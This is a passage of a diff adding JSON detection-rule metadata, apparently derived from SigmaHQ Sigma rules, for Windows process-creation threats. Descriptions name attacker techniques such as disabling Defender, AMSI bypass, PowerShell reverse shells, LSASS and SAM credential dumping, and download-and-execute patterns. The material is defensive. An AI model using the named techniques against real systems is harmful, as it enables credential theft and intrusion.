"falsepositive": [ + "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." + ], + "filename": "proc_creation_win_powershell_disable_windef_av.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_windef_av.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217", + "value": "Powershell Used To Disable Windows Defender AV Security Monitoring" + }, + { + "description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/08/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_dll_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba", + "value": "Detection of PowerShell Execution via DLL" + }, + { + "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", + "meta": { + "author": "Harish Segar (rule)", + "creation_date": "2020/03/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_downgrade_attack.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "b3512211-c67e-4707-bedc-66efc7848863", + "value": "PowerShell Downgrade Attack" + }, + { + "description": "Detects a Powershell process that contains download commands in its command line string", + "meta": { + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7", + "value": "PowerShell Download from URL" + }, + { + "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/28", + "falsepositive": [ + "Software installers that pull packages from remote systems and execute them" + ], + "filename": "proc_creation_win_powershell_download_patterns.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275", + "value": "Suspicious PowerShell Download and Execute Pattern" + }, + { + "description": "Detects suspicious FromBase64String expressions in command line arguments", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/01/29", + "falsepositive": [ + "Administrative script libraries" + ], + "filename": "proc_creation_win_powershell_frombase64string.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml" + ], + "tags": [ + "attack.t1027", + "attack.defense_evasion", + "attack.t1140", + "attack.t1059.001" + ] + }, + "uuid": "e32d4572-9826-4738-b651-95fa63747e8a", + "value": "FromBase64String Command Line" + }, + { + "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_get_clipboard.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ] + }, + "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3", + "value": "PowerShell Get-Clipboard Cmdlet Via CLI" + }, + { + "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/04/06", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_powershell_public_folder.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml" + ], + "tags": "No established tags" + }, + "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4", + "value": "Execution of Powershell Script in Public Folder" + }, + { + "description": "Detects the Nishang Invoke-PowerShellTcpOneLine reverse shell", + "meta": { + "author": "FPT.EagleEye, wagga", + "creation_date": "2021/03/03", + "falsepositive": [ + "Administrative might use this function for checking network connectivity" + ], + "filename": "proc_creation_win_powershell_reverse_shell_connection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be", + "value": "Powershell Reverse Shell Connection" + }, + { + "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", + "meta": { + "author": "FPT.EagleEye", + "creation_date": "2021/03/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_snapins_hafnium.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.collection", + "attack.t1114" + ] + }, + "uuid": "25676e10-2121-446e-80a4-71ff8506af47", + "value": "Exchange PowerShell Snap-Ins Used by HAFNIUM" + }, + { + "description": "Detects suspicious PowerShell invocation with a parameter substring", + "meta": { + "author": "Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_susp_parameter_variation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "36210e0d-5b19-485d-a087-c096088885f0", + "value": "Suspicious PowerShell Parameter Substring" + }, + { + "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", + "meta": { + "author": "Sami Ruohonen, Harish Segar (improvement), Tim Shelton", + "creation_date": "2018/09/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_xor_commandline.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1140", + "attack.t1027" + ] + }, + "uuid": "bb780e0c-16cf-4383-8383-1e5471db6cf9", + "value": "Suspicious XOR Encoded PowerShell Command Line" + }, + { + "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", + "meta": { + "author": "Markus Neis, @Karneades", + "creation_date": "2018/03/06", + "falsepositive": [ + "False positives are possible, depends on organisation and processes" + ], + "filename": "proc_creation_win_powersploit_empire_schtasks.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.s0111", + "attack.g0022", + "attack.g0060", + "car.2013-08-001", + "attack.t1053.005", + "attack.t1059.001" + ] + }, + "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f", + "value": "Default PowerSploit and Empire Schtasks Persistence" + }, + { + "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Other programs that cause these patterns (please report)" + ], + "filename": "proc_creation_win_priv_escalation_via_named_pipe.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021" + ] + }, + "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b", + "value": "Privilege Escalation via Named Pipe Impersonation" + }, + { + "description": "Detects usage of the SysInternals Procdump utility", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/16", + "falsepositive": [ + "Legitimate use of procdump by a developer or administrator" + ], + "filename": "proc_creation_win_procdump.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20", + "value": "Procdump Usage" + }, + { + "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "Cases in which procdump just gets copied to a different directory without any renaming" + ], + "filename": "proc_creation_win_procdump_evasion.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1480785527901204481", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737", + "value": "Procdump Evasion" + }, + { + "description": "Detects a process memory dump performed by RdrLeakDiag.exe", + "meta": { + "author": "Cedric MAURUGEON", + "creation_date": "2021/09/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_process_dump_rdrleakdiag.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", + "value": "Process Dump via RdrLeakDiag.exe" + }, + { + "description": "Detects process memory dump via comsvcs.dll and rundll32 using different techniques (ordinal, minidump function...etc)", + "meta": { + "author": "Florian Roth, Modexp, Nasreddine Bencherchali (update)", + "creation_date": "2020/02/18", + "falsepositive": [ + "Unlikely, because no one should dump the process memory in that way" + ], + "filename": "proc_creation_win_process_dump_rundll32_comsvcs.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", + "https://twitter.com/Hexacorn/status/1224848930795552769", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://twitter.com/SBousseaden/status/1167417096374050817", + "https://twitter.com/Wietze/status/1542107456507203586", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1036", + "attack.t1003.001", + "car.2013-05-009" + ] + }, + "uuid": "646ea171-dded-4578-8a4d-65e9822892e3", + "value": "Process Dump via Rundll32 and Comsvcs.dll" + }, + { + "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/01/04", + "falsepositive": [ + "Command lines that use the same flags" + ], + "filename": "proc_creation_win_proc_dump_createdump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48", + "value": "CreateDump Process Dump" + }, + { + "description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_proc_dump_dumpminitool.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", + "https://twitter.com/mrd0x/status/1511489821247684615", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42", + "value": "DumpMinitool Usage" + }, + { + "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_proc_dump_rdrleakdiag.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "6355a919-2e97-4285-a673-74645566340d", + "value": "RdrLeakDiag Process Dump" + }, + { + "description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_proc_dump_susp_dumpminitool.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1511415432888131586", + "https://twitter.com/mrd0x/status/1511489821247684615", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce", + "value": "Suspicious DumpMinitool Usage" + }, + { + "description": "Detect suspicious parent processes of well-known Windows processes", + "meta": { + "author": "vburov", + "creation_date": "2019/02/23", + "falsepositive": [ + "Some security products seem to spawn these" + ], + "filename": "proc_creation_win_proc_wrong_parent.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", + "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", + "https://attack.mitre.org/techniques/T1036/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003", + "attack.t1036.005" + ] + }, + "uuid": "96036718-71cc-4027-a538-d1587e0006a7", + "value": "Windows Processes Suspicious Parent Directory" + }, + { + "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_protocolhandler_susp_file.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_susp_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb", + "value": "ProtocolHandler.exe Downloaded Suspicious File" + }, + { + "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth, Sreeman, FPT.EagleEye Team", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_proxy_execution_wuauclt.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://dtm.uk/wuauclt/", + "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proxy_execution_wuauclt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ] + }, + "uuid": "af77cf95-c469-471c-b6a0-946c685c4798", + "value": "Proxy Execution via Wuauclt" + }, + { + "description": "Detects a PsExec service start", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/03/13", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_psexesvc_start.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psexesvc_start.yml" + ], + "tags": [ + "attack.execution", + "attack.s0029", + "attack.t1569.002" + ] + }, + "uuid": "3ede524d-21cc-472d-a3ce-d21b568d8db7", + "value": "PsExec Service Start" + }, + { + "description": "Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.", + "meta": { + "author": "@Kostastsale", + "creation_date": "2022/11/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.execution" + ] + }, + "uuid": "4f927692-68b5-4267-871b-073c45f4f6fe", + "value": "PowerShell AMSI Bypass Pattern" + }, + { + "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/30", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_pua_defendercheck.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/matterpreter/DefenderCheck", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.005" + ] + }, + "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7", + "value": "DefenderCheck Usage" + }, + { + "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/18", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_pua_seatbelt.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/Seatbelt", + "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1526", + "attack.t1087", + "attack.t1083" + ] + }, + "uuid": "38646daa-e78f-4ace-9de0-55547b2d30da", + "value": "Seatbelt PUA Tool" + }, + { + "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_public_folder_parent.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_public_folder_parent.yml" + ], + "tags": "No established tags" + }, + "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a", + "value": "Parent in Public Folder Suspicious Process" + }, + { + "description": "Detects the execution of the PurpleSharp adversary simulation tool", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/06/18", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_purplesharp_indicators.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/mvelazc0/PurpleSharp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_purplesharp_indicators.yml" + ], + "tags": [ + "attack.t1587", + "attack.resource_development" + ] + }, + "uuid": "ff23ffbc-3378-435e-992f-0624dcf93ab4", + "value": "PurpleSharp Indicator" + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", + "meta": { + "author": "frack113", + "creation_date": "2022/01/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_pypykatz.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/skelsec/pypykatz", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pypykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404", + "value": "Registry Parse with Pypykatz" + }, + { + "description": "Detects python spawning a pretty tty", + "meta": { + "author": "Nextron Systems", + "creation_date": "2022/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_python_pty_spawn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d", + "value": "Python Spawning Pretty TTY on Windows" + }, + { + "description": "Detects usage of the Quarks PwDump tool via commandline arguments", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_quarks_pwdump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/quarkslab/quarkspwdump", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_quarks_pwdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "0685b176-c816-4837-8e7b-1216f346636b", + "value": "Quarks PwDump Usage" + }, + { + "description": "Adversaries may interact with the Windows Registry to gather information about credentials, the system, configuration, and installed software.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_query_registry.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_registry.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.t1007" + ] + }, + "uuid": "970007b7-ce32-49d0-a4a4-fbef016950bd", + "value": "Query Registry" + }, + { + "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_query_session_exfil.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2", + "value": "Query Usage To Exfil Data" + }, + { + "description": "This command line patterns found in BlackByte Ransomware operations", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_ransom_blackbyte.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml" + ], + "tags": "No established tags" + }, + "uuid": "999e8307-a775-4d5f-addc-4855632335be", + "value": "BlackByte Ransomware Patterns" + }, + { + "description": "Detects commandline containing reference to files ending with a \".\". This scheme has been seen used by raspberry-robin", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_raspberry_robin_single_dot_ending_file.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_raspberry_robin_single_dot_ending_file.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "a35c97c8-d9c4-4c89-a3e7-533dc0bcb73a", + "value": "Raspberry Robin Dot Ending File" + }, + { + "description": "Detects RDP session hijacking by using MSTSC shadowing", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/01/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_rdp_hijack_shadowing.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + 